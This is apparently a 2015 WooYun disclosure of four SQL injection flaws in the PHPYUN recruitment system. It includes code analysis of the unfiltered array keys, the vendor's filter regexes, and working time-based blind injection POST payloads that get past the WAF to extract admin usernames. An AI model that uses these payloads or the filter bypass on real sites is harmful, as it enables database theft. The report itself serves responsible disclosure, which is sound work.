当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(57) 关注此漏洞

缺陷编号: WooYun-2015-126835

漏洞标题: PHPYUN最新版Webscan绕过注入四处(可遍历全站信息,无需登录)

相关厂商: php云人才系统

漏洞作者: menmen519

提交时间: 2015-07-16 15:10

公开时间: 2015-10-14 15:40

漏洞类型: SQL注射漏洞

危害等级: 高

自评Rank: 20

漏洞状态: 厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: php源码审核

15人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-07-16: 细节已通知厂商并且等待厂商处理中
2015-07-16: 厂商已经确认,细节仅向厂商公开
2015-07-19: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2015-09-09: 细节向核心白帽子及相关领域专家公开
2015-09-19: 细节向普通白帽子公开
2015-09-29: 细节向实习白帽子公开
2015-10-14: 细节向公众公开

简要描述:

PHPYUN最新版Webscan绕过注入两处(可遍历全站信息,无需登录)

详细说明:

首先看问题文件:

tiny/index.class.php:



code 区域
class index_controller extends common{
function index_action(){

session_start();
if($this->config['sy_wjl_web']=="2"){
header("location:".Url('error'));
}

if($_GET['keyword']=='请输入简历关键字,例如:会计'){
$_GET['keyword']='';
}
$M=$this->MODEL('tiny');
$ip = fun_ip_get();
$s_time=strtotime(date('Y-m-d 00:00:00'));
$m_tiny=$M->GetTinyresumeNum(array('login_ip'=>$ip,'`time`>\''.$s_time.'\''));
$num=$this->config['sy_tiny']-$m_tiny;

$CacheM=$this->MODEL('cache');
$CacheList=$CacheM->GetCache(array('user'));
$this->yunset($CacheList);
if($_POST['submit']){

$id=(int)$_POST['id'];
$authcode=md5($_POST['authcode']);
$password=md5($_POST['password']);
unset($_POST['authcode']);
unset($_POST['password']);
unset($_POST['submit']);
unset($_POST['id']);
$_POST['status']=$this->config['user_wjl'];
$_POST['login_ip']=$ip;
$_POST['time']=time();
$_POST['qq']=$_POST['qq'];

if($id!=""){
$arr=$M->GetTinyresumeOne(array('id'=>$id,'password'=>$password));
if(empty($arr)){
$this->ACT_layer_msg("密码不正确",8,$_SERVER['HTTP_REFERER']);
}

$M->UpdateTinyresume($_POST,array('id'=>$id));







跟踪UpdateTinyresume:

code 区域
function UpdateTinyresume($Values=array(),$Where=array()){
$WhereStr=$this->FormatWhere($Where);
$ValuesStr=$this->FormatValues($Values);
return $this->DB_update_all('resume_tiny',$ValuesStr,$WhereStr);
}







继续跟踪FormatValues



code 区域
function FormatValues($Values){
$ValuesStr='';

foreach($Values as $k=>$v){
if(is_numeric($k)){
$ValuesStr.=','.$v;
}else{
if(is_numeric($v)){
$ValuesStr.=',`'.$k.'`='.$v;
}else{
$ValuesStr.=',`'.$k.'`=\''.$v.'\'';
}
}
}
return substr($ValuesStr,1);
}







看到这里说明key没有进行过滤,同样的问题文件也有一处

wap/tiny.class.php:

code 区域
function add_action(){

$this->rightinfo();
if($this->config['sy_wjl_web']=="2"){
$data['msg']='很抱歉!该模块已关闭!';
$data['url']='index.php';
$this->yunset("layer",$data);
}
$this->get_moblie();
$TinyM=$this->MODEL('tiny');

if($_GET['id']){
$row=$TinyM->GetTinyresumeOne(array('id'=>$_GET[id]));
$this->yunset("row",$row);
}
if($_POST['submit']){
$_POST['status']=$this->config['user_wjl'];
$_POST['time']=time();
$_POST['username']=yun_iconv('utf-8','gbk',trim($_POST['username']));
$_POST['production']=yun_iconv('utf-8','gbk',trim($_POST['production']));
$_POST['job']=yun_iconv('utf-8','gbk',trim($_POST['job']));
$password=md5(trim($_POST['password']));
$type=trim($_POST['type']);
unset($_POST['submit']);
unset($_POST['type']);
$id=intval($_POST['id']);
if(!isset($_POST['id'])){
$_POST['password']=$password;
$nid=$this->obj->insert_into("resume_tiny",$_POST);
$nid?$data['msg']='操作成功!':$data['msg']='操作失败!';
$data['url']='index.php?c=tiny';
}else{
$arr=$TinyM->GetTinyresumeOne(array('id'=>$id,'password'=>$password));
if($arr['id']){
if($_POST['id']){
unset($_POST['id']);
$nid=$TinyM->UpdateTinyresume($_POST,array("id"=>$arr['id']));







原理是一样的,我们就拿第一个分析一下:



phpyun 有webscan360的防御,我们可以通过在url中添加参数使他时效,例如



http://localhost/phpyun40/upload/tiny/index.php?admin_dir=admin





然后phpyun也有自己的防御,但是这个可以绕过



code 区域
function safesql($StrFiltKey,$StrFiltValue,$type){

$getfilter = "\\<.+javascript:window\\[.{1}\\\\x|<.*=(&#\\d+?;?)+?>|<.*(data|src)=data:text\\/html.*>|\\b(alert\\(|confirm\\(|expression\\(|prompt\\(|benchmark\s*?\\(\d+?|sleep\s*?\(.*\)|load_file\s*?\\()|<[a-z]+?\\b[^>]*?\\bon([a-z]{4,})\s*?=|^\\+\\/v(8|9)|\\b(and|or)\\b\\s*?([\\(\\)'\"\\d]+?=[\\(\\)'\"\\d]+?|[\\(\\)'\"a-zA-Z]+?=[\\(\\)'\"a-zA-Z]+?|>|<|\s+?[\\w]+?\\s+?\\bin\\b\\s*?\(|\\blike\\b\\s+?[\"'])|\\/\\*.+?\\*\\/|\\/\\*\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT(\\(.+\\)|\\s+?.+?)|UPDATE(\\(.+\\)|\\s+?.+?)SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE)(\\(.+\\)|\\s+?.+?\\s+?)FROM(\\(.+\\)|\\s+?.+?)|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";

$postfilter = "<.*=(&#\\d+?;?)+?>|<.*data=data:text\\/html.*>|\\b(alert\\(|confirm\\(|expression\\(|prompt\\(|benchmark\s*?\\(\d+?|sleep\s*?\(.*\)|load_file\s*?\\()|<[^>]*?\\b(onerror|onmousemove|onload|onclick|onmouseover)\\b|\\b(and|or)\\b\\s*?([\\(\\)'\"\\d]+?=[\\(\\)'\"\\d]+?|[\\(\\)'\"a-zA-Z]+?=[\\(\\)'\"a-zA-Z]+?|>|<|\s+?[\\w]+?\\s+?\\bin\\b\\s*?\(|\\blike\\b\\s+?[\"'])|\\/\\*.+?\\*\\/|\\/\\*\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT(\\(.+\\)|\\s+?.+?)|UPDATE(\\(.+\\)|\\s+?.+?)SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE)(\\(.+\\)|\\s+?.+?\\s+?)FROM(\\(.+\\)|\\s+?.+?)|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";

$cookiefilter = "benchmark\s*?\\(\d+?|sleep\s*?\(.*\)|load_file\s*?\\(|\\b(and|or)\\b\\s*?([\\(\\)'\"\\d]+?=[\\(\\)'\"\\d]+?|[\\(\\)'\"a-zA-Z]+?=[\\(\\)'\"a-zA-Z]+?|>|<|\s+?[\\w]+?\\s+?\\bin\\b\\s*?\(|\\blike\\b\\s+?[\"'])|\\/\\*.+?\\*\\/|\\/\\*\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT(\\(.+\\)|\\s+?.+?)|UPDATE(\\(.+\\)|\\s+?.+?)SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE)(\\(.+\\)|\\s+?.+?\\s+?)FROM(\\(.+\\)|\\s+?.+?)|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";

if($type=="GET")
{
$ArrFiltReq = $getfilter;

}elseif($type=="POST"){

$ArrFiltReq = $postfilter;





并且其中的空格会被替换为下划线





看看这个正则benchmark\s*?\\(\d+?



这个等于没有防御,benchmark((1000000),md5(123)),1)轻松就绕过了





有了这些条件,我们就可以轻松遍历整个数据库了





发送url:

http://localhost/phpyun40/upload/tiny/index.php?admin_dir=admin



postdata:

username=test123&sex=7&exp=18&job=ccc&mobile=15802991419&qq=11111111&production`%3Dif(ascii(substr((select`username`from`phpyun_admin_user`),1,1))%3D97,benchmark((1000000),md5(123)),1)%23=xxxxxxxxxx&password=111111&authcode=ag31&id=1&submit=%B7%A2%B2%BC





这个我们就猜测出来admin表里面的username第一个字母为a





1.png







然后就可以全站遍历了



3、

friend/index.class.php:

code 区域
function saveinfo_action(){
if($_POST['submitBtn']){
$M=$this->MODEL('friend');
unset($_POST['submitBtn']);
$nid=$M->SaveFriendInfo($_POST,array("uid"=>$this->uid));
if($nid){
$state_content = "我刚修改了个性签名<br>[".$_POST['description']."]。";
$this->addstate($state_content);
$M->member_log("修改朋友圈基本信息");
$this->ACT_layer_msg("更新成功!",9,$_SERVER['HTTP_REFERER']);
}else{
$this->ACT_layer_msg("更新失败!",8,$_SERVER['HTTP_REFERER']);
}
}
}







跟进函数:

SaveFriendInfo



code 区域
function SaveFriendInfo($Values=array(),$Where=array()){
if(empty($Where)){
$ValuesStr=$this->FormatValues($Values);
return $this->DB_insert_once('friend_info',$ValuesStr);
}else{
$WhereStr=$this->FormatWhere($Where);
$ValuesStr=$this->FormatValues($Values);
return $this->DB_update_all('friend_info',$ValuesStr,$WhereStr);
}
}





跟进FormatValues:



code 区域
function FormatValues($Values){
$ValuesStr='';

foreach($Values as $k=>$v){
if(is_numeric($k)){
$ValuesStr.=','.$v;
}else{
if(is_numeric($v)){
$ValuesStr.=',`'.$k.'`='.$v;
}else{
$ValuesStr.=',`'.$k.'`=\''.$v.'\'';
}
}
}
return substr($ValuesStr,1);
}







key没有进行过滤:



怎么绕过,前两个已经说过了,这里不多做赘述,这个直接不需要任何条件约束



url:

http://localhost/phpyun40/upload/index.php?admin_dir=admin&c=index&m=friend&a=saveinfo



postdata:

uid`%3dif(ascii(substr((select`username`from`phpyun_admin_user`),1,1))%3d97,benchmark((1000000),md5(123)),1)%23=xxxxx&submitBtn=%B6%A9%D4%C4



3.png





4、once.class.php:

code 区域
function add_action(){
$this->rightinfo();

if($this->config['sy_wzp_web']=="2"){
$data['msg']='很抱歉!该模块已关闭!';
$data['url']='index.php';
$this->yunset("layer",$data);
}
$this->get_moblie();
$TinyM=$this->MODEL('once');

if($_GET['id']){
$row=$TinyM->GetOncejobOne(array('id'=>$_GET[id]));
$row['edate']=round(($row['edate']-$row['ctime'])/3600/24) ;
$this->yunset("row",$row);
}
if($_POST['submit']){

$_POST=$this->post_trim($_POST);
$_POST['mans'] = (int)$_POST['mans'];
$_POST = yun_iconv('utf-8','gbk',$_POST);
$_POST['status']=$this->config['com_fast_status'];
$_POST['ctime']=time();
$_POST['edate']=strtotime("+".(int)$_POST['edate']." days");
$password=md5(trim($_POST['password']));
unset($_POST['submit']);
$id=intval($_POST['id']);
if($id<1){
$_POST['password']=$password;
$nid=$TinyM->AddOncejob($_POST);
$nid?$data['msg']='操作成功!':$data['msg']='操作失败!';
$data['url']='index.php?c=once';
}else{
$arr=$TinyM->GetOncejobOne(array('id'=>$id,'password'=>$password));
if($arr['id']){
if($_POST['id']){
unset($_POST['id']);
unset($_POST['password']);
$nid=$TinyM->UpdateOncejob($_POST,array("id"=>$arr['id']));







跟进去:

UpdateOncejob:



code 区域
function UpdateOncejob($Values=array(),$Where=array()){
$WhereStr=$this->FormatWhere($Where);
$ValuesStr=$this->FormatValues($Values);

return $this->DB_update_all('once_job',$ValuesStr,$WhereStr);
}







再跟进FormatValues:



code 区域
function FormatValues($Values){
$ValuesStr='';

foreach($Values as $k=>$v){
if(is_numeric($k)){
$ValuesStr.=','.$v;
}else{
if(is_numeric($v)){
$ValuesStr.=',`'.$k.'`='.$v;
}else{
$ValuesStr.=',`'.$k.'`=\''.$v.'\'';
}
}
}
return substr($ValuesStr,1);
}





key没有进行过滤:







有两个问题要解决,就是

if($arr['id']){

这个逻辑怎么成立



阅读上下,只要当传递的id小于1的时候就会进行

if($id<1){

$_POST['password']=$password;

$nid=$TinyM->AddOncejob($_POST);





也就是说第一次id访问为空的时候,数据库就会插入一条id=1的或者id>1的记录



url:

http://localhost/phpyun40/upload/index.php?admin_dir=admin&c=once&m=wap&a=add



postdata:

mans=123&password=123&id=&submit=%B6%A9%D4%C4





1.png







然后我们后续就可以复制id为1,就可以走到问题的那个函数:



url:

http://localhost/phpyun40/upload/index.php?admin_dir=admin&c=once&m=wap&a=add



postdata:

mans=123&password=123&id=1&title`%3dif(ascii(substr((select`username`from`phpyun_admin_user`),1,1))%3d97,benchmark((1000000),md5(123)),1)%23=xxxxx&submit=%B6%A9%D4%C4



2.png





造成延时

漏洞证明:

修复方案:

版权声明:转载请注明来源 menmen519@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2015-07-16 15:38

厂商回复:

感谢提供,我们会尽快修复!

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(少于3人评价):
登陆后才能进行评分
100%
0%
0%
0%
0%

评价

  1. 2015-07-16 15:17 | 牛肉包子 ( 普通白帽子 | Rank:307 漏洞数:70 | baozisec)
    0

    给跪了

  2. 2015-07-16 16:20 | pandas ( 普通白帽子 | Rank:701 漏洞数:79 | 国家一级保护动物)
    1

    支持下190斤的胖子

  3. 2015-07-16 16:47 | answer 认证白帽子 ( 普通白帽子 | Rank:453 漏洞数:54 | 答案)
    0

    我才审。。。你这太快了

  4. 2015-07-16 17:03 | 狗狗侠 认证白帽子 ( 普通白帽子 | Rank:518 漏洞数:58 | 我是狗狗侠)
    0

    有条件限制,需再高版本mysql环境下利用

  5. 2015-07-16 17:14 | menmen519 ( 普通白帽子 | Rank:914 漏洞数:161 | http://menmen519.blog.sohu.com/)
    0

    @pandas 你妹啊 哥才170好不

  6. 2015-07-16 17:16 | menmen519 ( 普通白帽子 | Rank:914 漏洞数:161 | http://menmen519.blog.sohu.com/)
    0

    @狗狗侠 恩是的 只有mysql5.0.45 和 mysql4.x的不行 但是貌似4.x的很少有人用吧

  7. 2015-07-16 17:17 | menmen519 ( 普通白帽子 | Rank:914 漏洞数:161 | http://menmen519.blog.sohu.com/)
    0

    @狗狗侠 看样子 你真进入大wooyun了 之前有人给我说你在审核漏洞,我还不信,这会信了 呵呵

  8. 2015-07-16 17:26 | menmen519 ( 普通白帽子 | Rank:914 漏洞数:161 | http://menmen519.blog.sohu.com/)
    0

    顺便发个牢骚,这个漏洞是benchmark 注入,想必wooyun 这类注入大厂商很多吧,要不是四合一,我估计会被走小厂商,以后如果大家见到大厂商benchmark的注入,一律给小厂商,因为这个与mysql版本有关系

登录后才能发表评论,请先 登录